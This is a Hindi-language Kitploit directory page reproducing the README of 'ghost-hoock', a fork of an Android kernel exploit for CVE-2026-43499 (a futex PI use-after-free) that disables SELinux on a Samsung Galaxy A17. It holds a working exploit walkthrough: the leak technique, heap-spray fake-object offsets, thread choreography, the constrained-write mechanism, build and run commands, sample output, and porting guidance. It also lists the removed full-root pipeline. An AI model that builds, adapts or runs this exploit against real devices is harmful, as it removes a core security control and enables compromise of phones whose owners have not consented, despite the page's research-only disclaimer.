Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/genksome/ghost-hoock
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणमोबाइल सुरक्षापेपर और शोधपेलोड डेवलपमेंटबाइनरी शोषण
GitHubgenksome/ghost-hoock

ghost-hoock

GhostLock को एक ही आदिम तत्व तक सीमित किया गया: futex PI UAF (CVE-2026-43499) के माध्यम से Galaxy A17 (BZA5) पर SELinux बंद। न root, न cred patch, न rwforge।

9 घंटे पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

ghost-hoock

GhostLock का एक न्यूनतम फोर्क जो केवल एक प्रिमिटिव रखता है: CVE-2026-43499 (futex PI UAF) के माध्यम से SELinux को बंद करना।

ghost-hoock running on Samsung A17

kernel device cve license platform


विषय-सूची

  • यह क्या है
  • यह कैसे काम करता है
  • मूल से क्या रखा गया
  • क्या हटाया गया
  • बिल्डिंग
  • चलाना
  • आवश्यकताएँ
  • सीमाएँ और जोखिम
  • प्रोजेक्ट लेआउट
  • लाइसेंस
  • श्रेय
  • लिंक

यह क्या है

ghost-hoock, Mobile Hacking Lab द्वारा बनाए गए GhostLock एक्सप्लॉइट का एक छोटा किया गया फोर्क है, जिसे एक ही प्रिमिटिव तक सीमित कर दिया गया है:

futex PI UAF के माध्यम से एक नियंत्रित राइट -> selinux_enforcing = 0।

कोई रूट नहीं, कोई cred ओवरराइट नहीं, कोई rwforge चैनल नहीं, कोई UMH नहीं, कोई configfs नहीं। कमजोर कर्नेल पर SELinux को permissive मोड में बदलने के लिए बस न्यूनतम आवश्यक चीज़।

Samsung Galaxy A17 (SM-A175F, BZA5) पर उदाहरण आउटपुट:

root@kitploit:~

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

फिर:

root@kitploit:~
$ getenforce
Permissive

getenforce returns Permissive


यह कैसे काम करता है

यह एक्सप्लॉइट CVE-2026-43499 को लक्षित करता है — Linux कर्नेल की futex PI (Priority Inheritance) rt_mutex चेन में एक use-after-free। ghost-hoock में चेन चार चरणों की है:

1. KernelSnitch mm_struct लीक

कर्नेल की futex हैश टेबल के विरुद्ध टाइमिंग साइड-चैनल। हम यूज़र-स्पेस futexes के एक सेट पर FUTEX_WAKE_PRIVATE को बार-बार चलाते हैं, rdtsc डेल्टा मापते हैं, और हैश-बकेट टकरावों को सहसंबंधित करते हैं। इससे हमारे स्वयं के mm_struct का पता प्राप्त होता है — जो उस स्प्रे पेज का आधार है जिसकी हमें बाद में आवश्यकता होती है।

यह KernelSnitch तकनीक है, जिसे मूल एक्सप्लॉइट से ज्यों का त्यों लिया गया है।

2. हीप स्प्रे

हम एक बड़ा order-3 स्लैब पेज आवंटित करते हैं, फिर उसे PI रूट द्वारा उपयोग किए जाने वाले फेक-ऑब्जेक्ट लेआउट के साथ व्यवस्थित करते हैं:

3. PI रूट

तीन थ्रेड्स:

  • waiter — f_wait पर FUTEX_WAIT_REQUEUE_PI में प्रवेश करता है, जो f_pi_target को लक्षित करता है।
  • owner — f_pi_target पर और फिर f_pi_chain पर FUTEX_LOCK_PI रखता है।
  • consumer — waiter के TID पर sched_setattr(tid, SCHED_BATCH, nice=19) को कॉल करते हुए स्पिन करता है, जो rt_mutex_setprio() को ट्रिगर करता है और कर्नेल को फेक PI ट्री पर चलने के लिए बाध्य करता है।

मुख्य थ्रेड से एक चौथा कॉल — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — requeue को शुरू करता है। कर्नेल के अंदर, rb_erase() हमारे फेक ट्री पर चलता है।

4. pselect नियंत्रित राइट

pselect() / select() यूज़र के fd_set को कर्नेल स्टैक में कॉपी करता है और बाद में उस पर चलता है। हम fd_set बिटमैप्स को इस तरह व्यवस्थित करते हैं कि जिन शब्दों को कर्नेल rb-tree पॉइंटर्स मानता है वे fake_right और उसके पैरेंट पर पड़ें — और परिणामी rb_set_parent(child, parent) बन जाता है:

root@kitploit:~

*(uint64_t *)target = value | color

mode = 1 (Write 1) के लिए, target = selinux_enforcing और value = base + 0x100, जो byte0 = 0, byte1 = 1 के रूप में एन्कोड होता है। कर्नेल selinux_enforcing[0] पर 0 लिखता है — SELinux अब permissive है।


मूल से क्या रखा गया

यह mobilehackinglab/ghostlock-a17 (MIT) का एक फोर्क है। निम्नलिखित अपस्ट्रीम एक्सप्लॉइट से 1:1 लिया गया है:

सहायक कोड (pr_* मैक्रोज़, SYSCHK, pin_to_core, set_limit, set_unbuffer) भी मूल से ज्यों का त्यों रखा गया है।


क्या हटाया गया

मूल GhostLock A17 पर पूर्ण रूट प्राप्त करता है: यह एक rwforge फिजिकल R/W चैनल इंस्टॉल करता है, cred / real_cred को पैच करता है, init creds के साथ एक UMH हेल्पर चलाता है, लॉग कैप्चर करता है, और बहुत कुछ। ghost-hoock में, पहले नियंत्रित राइट के बाद का सब कुछ हटा दिया गया है।

मूल GhostLock इस फोर्क की तुलना में अधिक पूर्ण और शक्तिशाली बना हुआ है। ghost-hoock इसका प्रतिस्थापन नहीं है — यह एक संकीर्ण कार्य के लिए एक न्यूनतम PoC है: SELinux को बंद करना।


बिल्डिंग

डिवाइस पर (clang, Termux या adb shell)

$PATH में clang और make आवश्यक हैं। Termux पर परीक्षण किया गया; यदि टूलचेन मौजूद हो तो adb shell के माध्यम से भी काम करता है।

root@kitploit:~
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

आउटपुट: ./ghost-hoock (aarch64, PIE)।

Android NDK के माध्यम से (PC पर)

root@kitploit:~
make NDK=/path/to/android-ndk-r26

या मैन्युअल रूप से:

root@kitploit:~
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

क्रॉस-कंपाइल जाँच

root@kitploit:~
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

चलाना

root@kitploit:~
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

विकल्प

root@kitploit:~
ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

पर्यावरण चर

· GHOSTLOCK_CORE — 0..N. CPU कोर जिस पर consumer थ्रेड पिन किया गया है। डिफ़ॉल्ट: 0. · KPHYS — 0x.... कर्नेल फिजिकल लोड एड्रेस, यदि यह P0_KERNEL_PHYS_LOAD से भिन्न हो। · PREPARE_SLABS — 4..64. स्प्रे के दौरान तैयार किए गए स्लैब पेजों की संख्या। डिफ़ॉल्ट: 32. · PSELECT_SHIFT — -14..14. fd_set शब्द शिफ्ट। केवल डीबग के लिए। · FOPS_MAX_ATTEMPTS — 4..72. FOPS पेलोड के लिए अधिकतम prepare_kernel_page प्रयास। · RWF_DEBUG — कोई भी मान। पेलोड निर्माण से डीबग लाइनें प्रिंट करें।


आवश्यकताएँ

  • डिवाइस: Samsung Galaxy A17 SM-A175F (BZA5) — वह लक्ष्य जिसके लिए यह ऑफ़सेट टेबल निकाली गई थी।
  • कर्नेल: 6.12.23-android16-5-abA175FXXS5BZD2-4k।
  • संदर्भ: इसे shell SELinux संदर्भ (u:r:shell:s0) से चलाया जाना चाहिए, किसी ऐप से नहीं।
  • अनुमतियाँ: कुछ विशेष नहीं — रूट की आवश्यकता नहीं। पूरा उद्देश्य SELinux को रूट के बिना अक्षम करना है।

पोर्टिंग: अन्य डिवाइस/कर्नेल को अपनी ऑफ़सेट टेबल की आवश्यकता होगी। include/offsets_bza5.h में एक नया OFFSETS_ENTRY(...) जोड़ें, जिसमें उस बिल्ड के लिए vmlinux/kallsyms से निकाले गए सिंबल ऑफ़सेट हों, फिर पुनः बिल्ड करें।


सीमाएँ और जोखिम

  • कर्नेल पैनिक संभव हैं। यह फोर्क मूल के जोखिम को विरासत में लेता है: गलत page_base या असंबंधित मेमोरी पर पड़ने वाला राइट कर्नेल को क्रैश कर देगा। फोर्क में मूल की तुलना में कम सतह है (कोई rwforge नहीं, कोई cred पैच नहीं, कोई UMH नहीं), इसलिए यह सांख्यिकीय रूप से अधिक सुरक्षित है, लेकिन 100% अचूक नहीं।
  • BZA5 पर KASLR बंद है। यह एक्सप्लॉइट slide = 0 पर निर्भर करता है। इस फोर्क में कोई KASLR-लीक नहीं है। यदि आप इसे KASLR-सक्षम कर्नेल पर पोर्ट करते हैं, तो आपको मूल से slide.c वापस लाना होगा।
  • केवल SELinux। यह फोर्क रूट नहीं देता। यह केवल selinux_enforcing पर 0 लिखता है। यदि आपको रूट चाहिए, तो पूर्ण ghostlock-a17 का उपयोग करें।
  • एकल राइट। केवल Write 1 (selinux_enforcing = 0) बनाए रखा गया है। PI रूट को गहराई से समझे बिना इसे Write 2 या rwforge पाइपलाइन तक विस्तारित करने का प्रयास न करें।
  • राइट को ~20 प्रयासों के भीतर सफल होना आवश्यक है। यदि पहला W1 प्रयास चूक जाता है, तो लूप पुनः प्रयास करता है। अधिकतर निष्क्रिय सिस्टम के साथ ताज़ा बूट पर, यह आमतौर पर प्रयास 1 पर सफल होता है।

प्रोजेक्ट लेआउट

root@kitploit:~

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md


लाइसेंस

MIT — अपस्ट्रीम ghostlock-a17 के समान। LICENSE देखें।

यह फोर्क mobilehackinglab (2026) से मूल कॉपीराइट नोटिस बनाए रखता है और MIT शर्तों के अनुसार फोर्क लेखकों को ऊपर जोड़ता है।

यह प्रोजेक्ट सख्ती से अपने स्वयं के डिवाइस पर सुरक्षा अनुसंधान के लिए प्रकाशित किया गया है। इसे किसी ऐसे डिवाइस पर चलाना जो आपका नहीं है, अधिकांश न्यायक्षेत्रों में अवैध है।


श्रेय

  • Mobile Hacking Lab — मूल ghostlock-a17 एक्सप्लॉइट, जिस पर यह फोर्क बना है।
  • IAIK KernelSnitch — mm_struct लीक तकनीक।
  • मूल CVE-2026-43499 शोधकर्ता — futex PI UAF को रिवर्स-इंजीनियर करने के लिए।

लिंक

  • अपस्ट्रीम एक्सप्लॉइट: https://github.com/mobilehackinglab/ghostlock-a17
  • यह फोर्क: https://github.com/genksome/ghost-hoock
  • CVE: CVE-2026-43499

Built for research. Tested on a single physical device. Use at your own risk.

टूल डाउनलोड करें
OffsetObjectPurpose
0x0E80fake_lockFake rt_mutex
0x0F80fake_fopsFake file_operations table
0x1180fake_w0Fake rt_mutex_waiter used as target tree
0x1240fake_rightFake rb-tree right node — this is where the write value comes from
0x1260fake_leftFake rb-tree left node
0x1280fake_taskFake task_struct

पूरा पेज एक AF_UNIX सॉकेट के माध्यम से sendmsg के SKB_SEND_SIZE = 2 * ORDER3_SIZE के रूप में भेजा जाता है, ताकि skb डेटा हमारे लीक किए गए पेज पर पहुँचे। फिर हम इसे एक नियंत्रित क्रम में मुक्त करते हैं ताकि हमारा पेज एक per-cpu partial slab पर पहुँचे जिसे हम पुनः प्राप्त कर सकें।

ret = 6 (डिफ़ॉल्ट 9 के बजाय) पुष्टि करता है कि राइट सफल हुआ: consumer ने select() के दौरान लक्ष्य को हिट किया, जिससे यह जल्दी जाग गया।

ComponentFileNotes
KernelSnitchsrc/kernelsnitch/*mm_struct leak via futex hash timing
Heap spraysrc/spray.cfake-object layout, prepare_skb_payload, prepare_kernel_page
PI route + pselectsrc/route.cprepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread
BZA5 offsetsinclude/offsets_bza5.hSymbol table extracted from 6.12.23-android16-5-abA175FXXS5BZD2-4k
BZA5 target headerinclude/target.hAddress layout, payload offsets (W1-subset only)
Runtime struct offsetsinclude/runtime_struct_offsets.h_RSO() macros for task_struct fields
Removed fileWhy it existed in the original
rwforge_a17.cMarching-forger physical R/W channel via pipe_buffers
pipe_physrw.c, pipe_reclaim.cPipe-buffer reclaim -> arbitrary kernel read/write
root.ccred / real_cred overwrite, su install, SELinux SID patching
umh_root.c, wq_umh_root() (in main.c)Running an init-creds helper from a forged kernel workqueue item
slide.cKASLR leak via boot_id oracle — not needed on BZA5, KASLR is off
miniadb.cBootstrap via ADB TCP
try_cfi_stage() (in fops.c)CFI-friendly configfs stage used to bootstrap the root path
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture()The whole root pipeline
install_embedded_su(), install_embedded_wallpaper()Root-install helpers
Write 2 (cred), patch_cred_*, patch_task_seccompPost-W1 credential takeover